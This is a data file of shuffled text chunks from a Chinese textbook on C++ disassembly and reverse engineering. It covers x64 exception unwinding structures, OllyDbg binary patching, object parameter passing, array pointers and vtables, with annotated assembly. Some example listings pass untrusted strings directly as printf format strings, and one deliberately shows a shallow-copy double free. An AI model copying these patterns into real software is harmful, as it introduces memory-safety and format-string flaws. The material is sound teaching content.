    {"text": "5. 帧寄存器 如果此项为非零值则函数使用帧指针FP并且此字段用作帧指针的非易失寄存器号对于UNWIND_CODE节点的操作信息字段使用相同的编码。 6. 帧寄存器偏移量 如果帧寄存器字段为非零值指向FP的偏移量。"},
    {"text": "UNWIND_CODE struc ; (sizeof=0x2) PrologOff db ? ;序言中的偏移 OpCode_OpInfo db ? ;低4位OpCode展开操作代码高4位OpInfo操作信息 UNWIND_CODE ends 13.5.4 特定于语言的处理程序 只要设置了标志UNW_FLAG_EHANDLER或UNW_FLAG_UHANDLER异常处理程序的相对地址就会出现在UNWIND_INFO中。"},
    {"text": "typedef EXCEPTION_DISPOSITION (*PEXCEPTION_ROUTINE) ( IN PEXCEPTION_RECORD ExceptionRecord, IN ULONG64 EstablisherFrame, IN OUT PCONTEXT ContextRecord, IN OUT PDISPATCHER_CONTEXT DispatcherContext ); ExceptionRecord提供一个指针该指针指向具有标准Win64定义的异常记录。"},
    {"text": "typedef struct _DISPATCHER_CONTEXT { ULONG64 ControlPc; ULONG64 ImageBase; PRUNTIME_FUNCTION FunctionEntry; ULONG64 EstablisherFrame; ULONG64 TargetIp; PCONTEXT ContextRecord; PEXCEPTION_ROUTINE LanguageHandler; PVOID HandlerData; } DISPATCHER_CONTEXT, *PDISPATCHER_CONTEXT; ControlPc是此函数中的RIP值。"},
    {"text": "FuncInfo struc ; (sizeof=0x28, align=0x4) magicNumber dd ? ; 标识编译器的版本 maxState dd ? ; 最大栈展开数的下标值 dispUnwindMap dd ? ; 指向栈展开函数表的偏移量指向UnwindMapEntry结构 nTryBlocks dd ? ; try块数量 dispTryBlockMap dd ? ; try块列表的偏移量指向TryBlockMapEntry结构 nIPMapEntries dd ? ; IP状态映射表的数量 dispIPtoStateMap dd ? ; IP状态映射表的偏移量指向IPtoStateMapEntry结构 dispUwindHelp dd ? ; 异常展开帮助的偏移量 dispESTypeList dd ? ; 异常类型列表的偏移量 EHFlags dd ? ; 一些功能的标志 FuncInfo ends UnwindMapEntry struc ; (sizeof=0x8, align=0x4) toState dd ? ; 栈展开数下标值 action dd ? ; 展开执行函数 UnwindMapEntry ends TryBlockMapEntry struc ; (sizeof=0x14, align=0x4) tryLow dd ? ; try块的最小状态索引用于范围检查 tryHigh dd ? ; try块的最大状态索引用于范围检查 catchHigh dd ? ; catch块的最高状态索引用于范围检查 nCatches dd ? ; catch块个数 dispHandlerArray dd ? ; catch块描述数组的偏移量指向HandlerType结构 TryBlockMapEntry ends HandlerType struc ; (sizeof=0x14, align=0x4) adjectives dd ? ; 用于catch块的匹配检查 dispType dd ? ; catch块要捕捉的类型的偏移量指向C++ RTTI类型描述结构type_info的指针 dispCatchObj dd ? ; 用于定位异常对象的偏移量 dispOfHandler dd ? ; catch块代码的偏移量 dispFrame dd ? ; 异常框架信息的偏移量 HandlerType ends IptoStateMapEntry struc ; (sizeof=0x8, align=0x4) _Ip dd ? ; try块的起始RIP的偏移量 State dd ? ; try状态索引 IptoStateMapEntry ends ESTypeList struc ; (sizeof=0x8, align=0x4) nCount dd ? ; 类型数组数量 dispTypeArray dd ? ; 类型数组的偏移量 ESTypeList ends 该结构与32位程序最大的区别是多了一个IP状态映射表IptoStateMapEntry在32位应用程序中使用栈空间的一个变量标识try块的状态索引在x64中不再使用该变量而是通过产生异常的地址RIP查询IP状态映射表来获取try块的状态索引。"},
    {"text": "图13-13 FuncInfo的结构之间的关系 13.5.6 还原x64的try…catch 根据前面的知识点我们将代码清单13-10编译为64位程序熟悉一下x64 try…catch的代码还原。"},
    {"text": "接下来定位.pdata中main()函数RUNTIME_FUNCTION结构或者通过main()函数参考应用快速定位IDA快捷键X如图13-15所示发现main()函数有异常处理。 图13-15 main()函数RUNTIME_FUNCTION结构 从图13-15得出UNWIND_INFO的地址为stru_14001C4E8, stru_14001C4E8信息如图13-16所示。"},
    {"text": "图13-16 UNWIND_INFO结构 根据图13-16得出CntUnwindCodes为1UNWIND_INFO之后的UNWIND_CODE为1项注意对齐问题。 UNWIND_INFO的标志为高5位为3UNW_FLAG_EHANDLER | UNW_FLAG_UHANDLER说明有异常处理函数FunctionEntry地址为sub_140002178FrameHandler3ExceptionData的地址为struct_140014378将struct_140014378解析为FuncInfo结构如图13-17所示。 图13-17 FuncInfo结构 根据图13-17得到TryBlockMapEntry的地址为stru_14001C518, nTryBlocks为2说明main()函数一共有两个try块将stru_14001C518解析为TryBlockMapEntry结构stru_14001C540解析为HandlerType结构得出try1的catch(char)函数地址为1400138B0、catch(short)函数地址为1400138D8try2的catch(int)函数地址为140013900、catch(float)函数地址为140013928如图13-18所示。 图13-18 TryBlockMapEntry结构 图13-18 续 至此我们就获取了main()函数try数量和每个try对应的catch代码位置现在未知的是每个try块的代码范围接下来解析IP状态映射表获取所有try的范围根据图13-17的FuncInfo得知nIPMapEntries为0Eh, dispIPtoStateMap为1C590h, IP状态映射表的数量为14项地址为14001C590解析如图13-19所示。 图13-19 IP状态映射表 通过FuncInfo得知main()函数有两个try如图13-18所示try1的状态索引范围为0~0try2的状态索引范围为2~2根据图13-19得知IptoStateMapEntry表第一项的状态索引为0xffffffff表示try块范围不包含该RIP地址IptoStateMapEntry表第二项状态索引为0、第三项状态索引为0xffffffff因此try1块的RVA范围为0x101A~0x103F,try1的状态索引为0代码范围为1400101A~1400103Ftry2的状态索引为2代码范围为14001050~14001078其余项的状态索引为catch的代码。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 1.3 调试工具OllyDbg 在软件的开发过程中程序员会使用一些调试工具以便高效地找出软件中存在的错误。而在逆向分析领域分析者也会利用调试工具来分析软件的行为并验证分析结果。由于操作系统提供了完善的调试接口所以通过各类调试工具可以非常方便灵活地观察和控制目标软件。在使用调试工具分析程序的过程中程序会按调试者的意愿以指令为单位执行。调试者可以随时中断目标的指令流程以观察相关计算结果和当前设备状况也可以随时执行程序的后续指令。像这样使用调试工具加载程序并一边运行一边分析的过程我们称之为动态分析。 对于有源代码的程序我们使用Visual Studio 2019进行调试它可以将C++源码反汇编对于无源码的程序我们使用OllyDbg进行调试分析它的调试功能十分强大。Visual Studio 2019的调试功能相对简单同时有源码作对照故不过多讲解。OllyDbg的默认功能界面如图1-20所示。 图1-20 OllyDbg的默认功能界面 图1-20中的标号说明如下。 1汇编代码对应的地址窗口。 2汇编代码对应的十六进制机器码窗口。 3反汇编窗口。 4反汇编代码对应的注释信息窗口。 5寄存器信息窗口。 6当前执行到的反汇编代码的信息窗口。 7数据窗口数据所在的内存地址。 8数据窗口数据的十六进制编码信息。 9数据窗口数据对应的ASCII码信息。 10栈窗口栈地址。 11栈窗口栈地址中存放的数据。 12栈窗口对应的说明信息。 熟悉了各窗口视图的功能之后我们来进一步了解OllyDbg的操作方法。首先介绍一下OllyDbg的快捷键。掌握各个快捷键可以提高分析效率。OllyDbg的基本快捷键及其功能如表1-1所示。 表1-1 OllyDbg的基本快捷键及其功能 通过实际操作演练我们可以进一步熟悉OllyDbg。调试一个简单的“Hello world” 程序将对话框标题“Hello world”修改为“I Like C++”步骤如下。 1. 加载可执行程序 选择调试程序的方式有以下3种。 使用快捷键F3选择要调试程序的路径。 在菜单选项中“文件”→“打开”选择调试程序路径。 将OllyDbg加入系统资源管理菜单中鼠标右键“打开”。 依次选择OllyDbg菜单“选项”→“添加到浏览器”→“添加OllyDbg到系统资源管理菜单”→“完成”即可将OllyDbg加入系统资源管理菜单中如图1-21所示。 图1-21 初识OllyDbg 在图1-21中代码运行到地址0x00401000处对应反汇编指令PUSH 0此汇编指令对应的机器码为6A 00汇编指令对应的机器码可查询Intel的指令帮助手册。在OllyDbg的注释窗口中已经分析出此汇编指令的含义OllyDbg根据CALL指令的地址得知这个函数的首地址为API MessageBoxA的首地址进而分析出对应的参数个数和参数功能。 2. 查看API MessageBoxA各参数的功能 查看MSDN文档获取MessageBoxA各参数的功能找到弹出对话框的标题参数PUSH Hello.00403000此参数保存了字符串“Hello world”的首地址。 3. 定位数据 选中数据窗口使用快捷键Ctrl+G弹出数据跟随窗口。输入查询地址0x00403000单击“确定”快速定位到该地址处。 4. 修改数据 找到要修改数据的地址对应的HEX数据在图1-22中地址0x00403000对应的十六进制数据为0x48。双击HEX数据窗口中“48”处弹出对应的编辑数据对话框如图1-23所示。 图1-22 初识数据窗口 图1-23 数据编辑对话框 去掉“保持大小”的勾选可向后修改数据。在ASCII文本编辑框中输入“I Like C++”由于C\\C++中字符串以00结尾需要将字符串最末尾的数据修改为00。选择十六进制编码文本框在末尾处插入00。单击“确定”按钮完成对字符串的修改。 5. 调试程序 使用快捷键F8单步调试运行连续按4次F8键单步运行4条汇编指令观察栈窗口变化如图1-24所示。函数MessageBoxA所需参数都已被保存在栈中。按快捷键F7可跟进到函数MessageBoxA的实现代码中这个API为一个间接调用须再次按快捷键F7程序运行到函数MessageBoxA的首地址处。MessageBoxA的实现代码较多不适合初学者学习使用快捷键Alt+F9返回到用户代码处MessageBoxA运行结束弹出运行结果对话框查看是否修改成功。 图1-24 栈窗口信息 如图1-25所示标题已经修改成功。到此OllyDbg的初识之旅就结束了。本节我们初步认识了OllyDbg在后面的章节中还会进一步介绍它的强大功能。 图1-25 运行结果 C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 第一部分 准备工作 在软件开发过程中程序员会使用一些调试工具以便高效地找出软件中存在的错误。在逆向分析领域分析者也要利用相关工具分析软件行为验证分析结果。 本书第一部分将介绍几款常用的逆向分析辅助工具和软件。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 14.3 本章小结 本章内容是一次逆向分析的实战演习。虽然只是小试牛刀却可以加强读者的逆向分析能力为日后的实战打好基础。对程序特征码的识别技术不仅可用于判断程序的编译器版本还可用于病毒程序、游戏外挂程序的识别与判断。 每个程序实现的功能不同它们的机器码组成也就不同只须找到一段可与其他程序进行区分的机器码便可将这些机器码定义为特征码。如果为病毒程序则将特征码加入病毒库。在每次运行程序的过程中将运行程序与病毒库中的特征码进行对比检查是否为病毒程序以实现防御病毒的目的。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 9.4 对象作为函数参数 对象作为函数的参数时其传递过程较为复杂传递方式也比较独特。"},
    {"text": "对象的传参过程与数组不同数组变量的名称代表数组的首地址而对象的变量名称却不能代表对象的首地址。 传参时不会像数组那样以首地址作为参数传递而是先将对象中的所有数据进行备份复制将备份的数据作为形参传递到调用函数中使用。"},
    {"text": "在基本的数据类型中32位程序下除双精度浮点和long long类型外其他所有数据类型的大小都不超过4字节64位程序类型不超过8字节使用一个栈元素即可完成数据的复制和传递。"},
    {"text": "代码清单9-5 对象作为函数的参数Debug版 // C++ 源码 #include <stdio.h> class Person { public: int age; int height; }; void show(Person person) { //参数为类Person的对象 printf(\"age = %d , height = %d\\n\", person.age, person.height); } int main(int argc, char* argv[]) { Person person; person.age = 1; person.height = 2; show(person); return 0; } //x86_vs对应汇编代码讲解 00401020 push ebp 00401021 mov ebp, esp 00401023 sub esp, 8 00401026 mov dword ptr [ebp-8], 1 ;person.age=1对象首地址为ebp-8 0040102D mov dword ptr [ebp-4], 2 ;person.height=2 00401034 mov eax, [ebp-4] 00401037 push eax ;传递参数2person.age 00401038 mov ecx, [ebp-8] 0040103B push ecx ;传递参数1person.age 0040103C call sub_401000 ;调用show函数 00401041 add esp, 8 00401044 xor eax, eax 00401046 mov esp, ebp 00401048 pop ebp 00401049 retn 00401000 push ebp 00401001 mov ebp, esp 00401003 mov eax, [ebp+0Ch] ;对象首地址为ebp+8 00401006 push eax ;传递参数3person.height 00401007 mov ecx, [ebp+8] 0040100A push ecx ;传递参数2person.age 0040100B push offset aAgeDHeightD ;参数1\"age = %d , height = %d\\n\" 00401010 call sub_401090 ;调用printf函数 00401015 add esp, 0Ch 00401018 pop ebp 00401019 retn //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码讲解 0000000140001030 mov [rsp+10h], rdx 0000000140001035 mov [rsp+8], ecx 0000000140001039 sub rsp, 38h 000000014000103D mov dword ptr [rsp+20h],1;person.age=1对象首地址为rsp+20h 0000000140001045 mov dword ptr [rsp+24h],2;person.height =1 000000014000104D mov rcx, [rsp+20h] ;rcx 8字节大小直接存放age+height的值 0000000140001052 call sub_140001000 ;调用show函数 0000000140001057 xor eax, eax 0000000140001059 add rsp, 38h 000000014000105D retn 0000000140001000 mov [rsp+8], rcx 0000000140001005 sub rsp, 28h ;对象首地址为rsp+30h 0000000140001009 mov r8d, [rsp+34h] ;传递参数3person.height 000000014000100E mov edx, [rsp+30h] ;传递参数2person.age 0000000140001012 lea rcx, aAgeDHeightD ;参数1\"age = %d , height = %d\\n\" 0000000140001019 call sub_1400010C0 ;调用printf函数 000000014000101E add rsp, 28h 0000000140001022 retn //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码相似略 在代码清单9-5中类Person的体积不大只有两个数据成员编译器在调用函数传参的过程中分别将对象的两个成员依次压栈也就是直接将两个数据成员当成两个int类型数据并将它们当作printf函数的参数。"},
    {"text": "代码清单9-6 含有数组数据成员的对象传参Debug版 // C++ 源码#include <stdio.h> #include <stdio.h> #include <string.h> class Person { public: int age; int height; char name[32]; //定义数组类型的数据成员 }; void show(Person person) { printf(\"age = %d , height = %d name:%s\\n\", person.age, person.height, person.name); } int main(int argc, char* argv[]) { Person person; person.age = 1; person.height = 2; strcpy(person.name, \"tom\"); //赋值数据成员数组 show(person); return 0; } //x86_vs对应汇编代码讲解 00401020 push ebp 00401021 mov ebp, esp 00401023 sub esp, 2Ch 00401026 mov eax, ___security_cookie 0040102B xor eax, ebp 0040102D mov [ebp-4], eax 00401030 push esi 00401031 push edi 00401032 mov dword ptr [ebp-2Ch], 1 ;person.age=1对象首地址ebp-2Ch 00401039 mov dword ptr [ebp-28h], 2 ;person.height=2 00401040 push offset aTom ;参数2\"tom\" 00401045 lea eax, [ebp-24h] ;eax=person.name地址 00401048 push eax ;参数1person.name 00401049 call sub_404610 ;调用strcpy函数 0040104E add esp, 0FFFFFFE0h ;调整栈顶抬高32字节。 00401051 mov ecx, 0Ah ;设置循环次数为10 00401056 lea esi, [ebp-2Ch] ;获取对象的首地址并保存到esi 00401059 mov edi, esp ;设置edi为当前栈顶 0040105B rep movsd ;执行10次4字节内存复制将esi所指向的数据复 ;制到edi中类似memcpy的内联方式 0040105D call sub_401000 ;调用show函数 00401062 add esp, 28h 00401065 xor eax, eax 00401067 pop edi 00401068 pop esi 00401069 mov ecx, [ebp-4] 0040106C xor ecx, ebp 0040106E call @__security_check_cookie@4 ; __security_check_cookie(x) 00401073 mov esp, ebp 00401075 pop ebp 00401076 retn //x86_gcc对应汇编代码相似略 //x86_clang对应汇编相似略 //x64_vs对应汇编代码讲解 0000000140001040 mov [rsp+arg_8], rdx 0000000140001045 mov [rsp+arg_0], ecx 0000000140001049 push rsi 000000014000104A push rdi 000000014000104B sub rsp, 88h 0000000140001052 mov rax, cs:__security_cookie 0000000140001059 xor rax, rsp 000000014000105C mov [rsp+78h], rax 0000000140001061 mov dword ptr [rsp+50h], 1 ;person.age=1对象首地址rsp+50h 0000000140001069 mov dword ptr [rsp+54h], 2 ;person.height=2 0000000140001071 lea rdx, aTom ;参数2\"tom\" 0000000140001078 lea rcx, [rsp+58h] ;参数1rcx=person.name地址 000000014000107D call sub_140004530 ;调用strcpy 0000000140001082 lea rax, [rsp+20h] rax=临时对象 0000000140001087 lea rcx, [rsp+50h] ;rcx=&person 000000014000108C mov rdi, rax 000000014000108F mov rsi, rcx 0000000140001092 mov ecx, 28h ;设置循环次数为40 0000000140001097 rep movsb ;复制person对象的数据成员到临时对象 0000000140001099 lea rcx, [rsp+20h] ;rcx=this,传递临时对象的this指针 000000014000109E call sub_140001000 ;调用show函数 00000001400010A3 xor eax, eax 00000001400010A5 mov rcx, [rsp+78h] 00000001400010AA xor rcx, rsp 00000001400010AD call __security_check_cookie 00000001400010B2 add rsp, 88h 00000001400010B9 pop rdi 00000001400010BA pop rsi 00000001400010BB retn //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码相似略 如代码清单9-6所示在传递类对象的过程中使用了“add esp, 0FFFFFFE0h”调整栈顶指针esp0FFFFFFE0h是补码转换后为-20h等同于esp-20h。"},
    {"text": "6.1节介绍过参数变量在传递时需要向低地址调整栈顶指针esp此处申请的32字节栈空间加上strcpy未平衡的8字节参数空间都用于存放参数对象person的数据。"},
    {"text": "将对象person中的数据依次复制到申请的栈空间中对象person的内存布局如图9-5所示。 图9-5 对象person的内存布局 在图9-5中0x00AFF8A8为对象person的首地址第一个4字节的数据为数据成员age。"},
    {"text": "为什么申请栈空间时少了8字节呢数据复制完成后会不会造成越界访问呢 我们先看一下之前调用的函数strcpy该函数的调用方式为__cdecl当函数调用结束后并没有平衡参数使用的栈顶。"},
    {"text": "函数strcpy有两个参数正好使用了8字节的栈空间。 在函数show的调用过程中重新利用这8字节的栈空间完成了对对象person中数据的复制。 当函数show调用结束后调用指令“add esp,28h”平衡了该函数参数使用的40字节栈空间。"},
    {"text": "在64位程序中因为栈顶为栈预留空间所以无法将对象的数据成员复制到栈顶编译器将对象的数据成员先复制到临时对象再将临时对象的地址传递给show函数在show函数内部使用this指针间接访问对象的数据成员。"},
    {"text": "当代码执行到作用域结束时局部对象将被销毁而对象中可能会涉及资源释放的问题同样编译器也会再调用一次局部对象的析构函数从而完成资源数据的释放。"},
    {"text": "有参考资料中提到当类中没有定义构造函数和析构函数时编译器会添加默认的构造函数和析构函数。 根据代码清单9-4和代码清单9-5中的分析可知在定义类对象时编译器根本没有做任何处理可见编译器并没有添加默认的构造函数。"},
    {"text": "代码清单9-7 对象作为参数的资源释放错误Debug版 // C++ 源码说明涉及资源申请与释放的类对象 #include <stdio.h> #include <string.h> class Person { public: Person() { name = new char[32]; //申请堆空间只要不释放进程退出前将一直存在 if (name != NULL) { //堆空间申请成功与否 strcpy(name, \"tom\"); } } ~Person() { if (name != NULL) { //检查资源 delete[] name; //释放堆空间 name = NULL; } } const char* getName() { return name; //获取数据成员 } private: char *name; //数据成员定义保存堆的首地址 }; //参数为Person类对象的函数 void show(Person obj) { printf(obj.getName()); } int main(int argc, char* argv[]) { Person person; //类对象定义 show(person); return 0; } //x86_vs对应汇编代码讲解 00401020 push ebp 00401021 mov ebp, esp 00401023 sub esp, 8 00401026 lea ecx, [ebp-4] ;传递this指针ecx=&person 00401029 call sub_401050 ;调用构造函数 0040102E mov eax, [ebp-4] ;person对象长度为4一个寄存器单元刚好能存放 ;于是eax获取对象首地址处4字节的数据即数据成员name 00401031 push eax ;传递对象参数 00401032 call sub_401000 ;调用show函数 00401037 add esp, 4 0040103A mov dword ptr [ebp-8], 0 00401041 lea ecx, [ebp-4] ;传递this指针ecx=&person 00401044 call sub_401090 ;调用析构函数 00401049 mov eax, [ebp-8] 0040104C mov esp, ebp 0040104E pop ebp 0040104F retn 00401000 push ebp ;show函数 00401001 mov ebp, esp 00401003 lea ecx, [ebp+8] ;传递this指针ecx=&obj 00401006 call sub_4010D0 ;调用getName函数 0040100B push eax ;参数1, eax=obj.name 0040100C call sub_401120 ;调用printf函数 00401011 add esp, 4 00401014 lea ecx, [ebp+8] ;传递this指针ecx=&obj 00401017 call sub_401090 ;调用析构函数 0040101C pop ebp 0040101D retn //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码讲解 0000000140001030 mov [rsp+10h], rdx 0000000140001035 mov [rsp+8], ecx 0000000140001039 sub rsp, 38h 000000014000103D lea rcx, [rsp+28h] ;传递this指针rcx=&person 0000000140001042 call sub_140001070 ;调用构造函数 0000000140001047 mov rcx, [rsp+28h] ;传递this指针rcx=&person 000000014000104C call sub_140001000 ;调用show函数 0000000140001051 mov dword ptr [rsp+20h], 0 0000000140001059 lea rcx, [rsp+28h] ;传递this指针rcx=&person 000000014000105E call sub_1400010C0 ;调用析构函数 0000000140001063 mov eax, [rsp+20h] 0000000140001067 add rsp, 38h 000000014000106B retn 0000000140001000 mov [rsp+8], rcx ;show函数 0000000140001005 sub rsp, 28h 0000000140001009 lea rcx, [rsp+30h] ;传递this指针rcx=&obj 000000014000100E call sub_140001100 ;调用getName函数 0000000140001013 mov rcx, rax ;参数1, rcx=obj.name 0000000140001016 call sub_140001170 ;调用printf函数 000000014000101B lea rcx, [rsp+30h] ;传递this指针rcx=&obj 0000000140001020 call sub_1400010C0 ;调用析构函数 0000000140001025 add rsp, 28h 0000000140001029 retn //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码相似略 在代码清单9-7中当对象作为参数传递时参数obj复制了对象person中的数据成员name产生了两个Person类的对象。"},
    {"text": "由于没有编写复制构造函数因此在传递参数的时候就没有被调用这时候编译器以浅拷贝处理它们的数据成员name都指向了同一个堆地址如图9-6所示。"},
    {"text": "图9-6 复制对象与原对象对比 如图9-6所示两个对象中的数据成员name指向了相同地址当函数show调用结束后便会释放对象obj以对象obj的首地址作为this指针调用析构函数。 在析构函数中调用delete函数释放对象obj的数据成员name保存的堆空间的首地址。 但对象obj是person的复制品真正的person仍存在而数据成员name保存的堆空间的首地址却被释放了如果出现以下代码便会产生错误。 Person person; // 当该函数调用结束后对象person中的数据成员name保存的堆空间已经 // 被释放再次使用此对象中的数据成员name便无法得到堆空间的数据 show(person); show(person); ; 显示地址中为错误数据 这个错误在VS的编译中被触发因为使用delete函数后堆空间被置为某个标记值而在02选项中并不会对释放堆中的数据进行检查。"},
    {"text": "1. 深拷贝数据 在复制对象时编译器会调用一次该类的复制构造函数给编码者一次机会。 深拷贝利用这次机会原对象的数据成员保存的资源信息制作一份副本。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 8.7 指向数组的指针变量 什么是指向数组的指针呢在学习一维数组时我们已经有所接触。"},
    {"text": "当指针变量保存的数据为数组的首地址且将此地址解释为数组时该指针变量被称为数组指针。 指向数组元素的指针很简单只要是指针变量都可以用于寻址该类型一维数组的各元素得到数组中的数据。 而指向一维数组的数组指针会有些变化指向一维数组的数组指针定义格式如下。 组成部分1 组成部分2 组成部分3 类型名 (*指针变量名称) [一维数组大小]; 例如对于二维字符数组“char ary[3][10] = {{\"Hello\"},{\"World\"},{\"!\\r\\n\"}};”定义指向这个数组的指针为“char (*p)[10] = ary;”那么数组指针如何访问数组成员呢见代码清单8-14。"},
    {"text": "在第3章我们接触过数组指针在利用C++生成的控制台工程中main()函数的定义main( int argc, char*argv[ ], char *envp[ ] )中有3个参数。"},
    {"text": "图8-10 设置命令行参数 在默认情况下使用C++编译器生成的控制台会有一个命令行参数这个参数信息为当前程序所在路径因此在命令行字符串数组argv的第0项中保存着路径字符串首地址。"},
    {"text": "代码清单8-15 通过指针数组获取命令行参数Debug版 // C++ 源码 #include <stdio.h> int main(int argc, char* argv[]) { for (int i = 1; i < argc; i++){ //跳过第一个命令行参数 printf(argv[i]); //获取命令行参数信息 } return 0; } //x86_vs对应汇编代码讲解 00401000 push ebp 00401001 mov ebp, esp 00401003 push ecx 00401004 mov dword ptr [ebp-4], 1 ;i=1 0040100B jmp short loc_401016 ;for循环 0040100D mov eax, [ebp-4] 00401010 add eax, 1 00401013 mov [ebp-4], eax ;i++ 00401016 mov ecx, [ebp-4] 00401019 cmp ecx, [ebp+8] 0040101C jge short loc_401032 ;如果i>=argc结束循环 0040101E mov edx, [ebp-4] ;edx=i 00401021 mov eax, [ebp+0Ch] ;eax=argv得到组首地址 00401024 mov ecx, [eax+edx*4] ;ecx=argv[i] 00401027 push ecx 00401028 call sub_401080 ;调用printf函数 0040102D add esp, 4 00401030 jmp short loc_40100D 00401032 xor eax, eax 00401034 mov esp, ebp 00401036 pop ebp 00401037 retn //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码讲解 0000000140001000 mov [rsp+10h], rdx 0000000140001005 mov [rsp+8], ecx 0000000140001009 sub rsp, 38h 000000014000100D mov dword ptr [rsp+20h], 1 ;i=1 0000000140001015 jmp short loc_140001021 ;for循环 0000000140001017 mov eax, [rsp+20h] 000000014000101B inc eax 000000014000101D mov [rsp+20h], eax ;i++ 0000000140001021 mov eax, [rsp+40h] 0000000140001025 cmp [rsp+20h], eax 0000000140001029 jge short loc_140001040 ;如果i>=argc结束循环 000000014000102B movsxd rax, dword ptr [rsp+20h] ;rax=i 0000000140001030 mov rcx, [rsp+48h] ;rcx=argv得到组首地址 0000000140001035 mov rcx, [rcx+rax*8] ;rcx=argv[i] 0000000140001039 call sub_1400010B0 ;调用printf函数 000000014000103E jmp short loc_140001017 0000000140001040 xor eax, eax 0000000140001042 add rsp, 38h 0000000140001046 retn //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码相似略 代码清单8-15中的字符串指针数组寻址过程和一维数组相同都是取下标、取数组首地址。"},
    {"text": "需要注意的是代码清单8-15中的argv是一个参数它保存着字符串数组的首地址因此需要执行“mov eax,dword ptr [ebp+0Ch]”指令取其内容得到数组首地址。"},
    {"text": "有什么方法可以根据多维数组的类型快速匹配出对应的数组指针类型呢通过指定数组下标可以实现这一目标如三维数组“int ary[2][3][4]”其数组指针定义如下。 int (*p)[3][4] = ary; 三维数组指针变量名称为*p替换原三维数组中的数组名称及三维下标ary[2]。"},
    {"text": "数组 数组指针 类型 数组名称 [ 最高维数 ] [X][Y]…… 类型 (* 数组指针名称 ) [X][Y]…… 在定义数组指针时为什么只有最高维数可以省去先来看普通的指针变量寻址过程。"},
    {"text": "假设整型指针变量*p中保存的地址为0x0012FF00对其执行+=1操作 p += 1; p = 0x0012FF00 + sizeof(int); p = 0x0012FF04 指针在运算过程中需要计算偏移量因此需要知道数据类型。"},
    {"text": "例如int ary[3][4][5]同int[4][5] ary[3]一样可将int[4][5]看作一个整体的数据类型记作int[4][5] * p=ary。 由于C++语法中没有此种语法格式故无法使用正确的语法格式为int (*p)[4][5] =ary;使用括号是为了与指针数组进行区分。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 11.1 虚函数的机制 在C++中使用关键字virtual声明函数为虚函数。"},
    {"text": "代码清单11-1 包含虚函数的类的定义C++源码 //C++源码 #include <stdio.h> class Person { public: virtual int getAge() { //虚函数定义 return age; } virtual void setAge(int age) { //虚函数定义 this->age = age; } private: int age; }; int main(int argc, char* argv[]) { Person person; return 0; } 代码清单11-1中的类定义了两个虚函数和一个数据成员。"},
    {"text": "如果这个类没有定义虚函数则其长度为4定义了虚函数后因为还含有隐藏数据成员虚表指针所以32位程序大小为864程序大小为16如图11-1所示。 图11-1 含有虚函数的类的大小 如图11-1所示类Person确实多出了一个指针大小数据这个数据用于保存虚表指针。"},
    {"text": "图11-2 虚表指针存储信息 通过对图11-2的分析可以得出结论有了虚表指针就可以通过该指针得到类中所有虚函数的首地址。 下面通过一个示例分析图11-2中虚表指针的实现过程如代码清单11-2所示。"},
    {"text": "代码清单11-2 虚表指针的初始化过程Debug版 // C++ 源码说明类Person的定义见代码清单11-1 int main(int argc, char* argv[]){ Person person; return 0; } //x86_vs对应汇编代码讲解 00401000 push ebp 00401001 mov ebp, esp 00401003 sub esp, 8 00401006 lea ecx, [ebp-8] ;获取对象首地址 00401009 call sub_401020 ;调用构造函数类Person中并没有定义构造函数此调用为默认构造函数 0040100E xor eax, eax 00401010 mov esp, ebp 00401012 pop ebp 00401013 retn 00401020 push ebp ;默认构造函数分析 00401021 mov ebp, esp 00401023 push ecx 00401024 mov [ebp-4], ecx ;[ebp-4] 存储this指针 00401027 mov eax, [ebp-4] ;取出this指针并保存到eax中这个地址将会作为 ;指针保存虚函数表的首地址中 0040102A mov dword ptr [eax], offset ??_7Person@@6B@;取虚表的首地址保存到虚表指针中 00401030 mov eax, [ebp-4] ;返回对象首地址 00401033 mov esp, ebp 00401035 pop ebp 00401036 retn //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码讲解 0000000140001000 mov [rsp+10h], rdx 0000000140001005 mov [rsp+8], ecx 0000000140001009 sub rsp, 38h 000000014000100D lea rcx, [rsp+20h] ;获取对象首地址 0000000140001012 call sub_140001020 ;调用为默认构造函数 0000000140001017 xor eax, eax 0000000140001019 add rsp, 38h 000000014000101D retn 0000000140001020 mov [rsp+8], rcx ;默认构造函数分析 0000000140001025 mov rax, [rsp+8] ;取出this指针并保存到rax中这个地址将会作为 ;指针保存虚函数表的首地址中 000000014000102A lea rcx, ??_7Person@@6B@ 0000000140001031 mov [rax], rcx ;取虚表的首地址保存到虚表指针中 0000000140001034 mov rax, [rsp+8] ;返回对象首地址 0000000140001039 retn //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码相似略 在代码清单11-2中编译器为类Person提供了默认的构造函数。"},
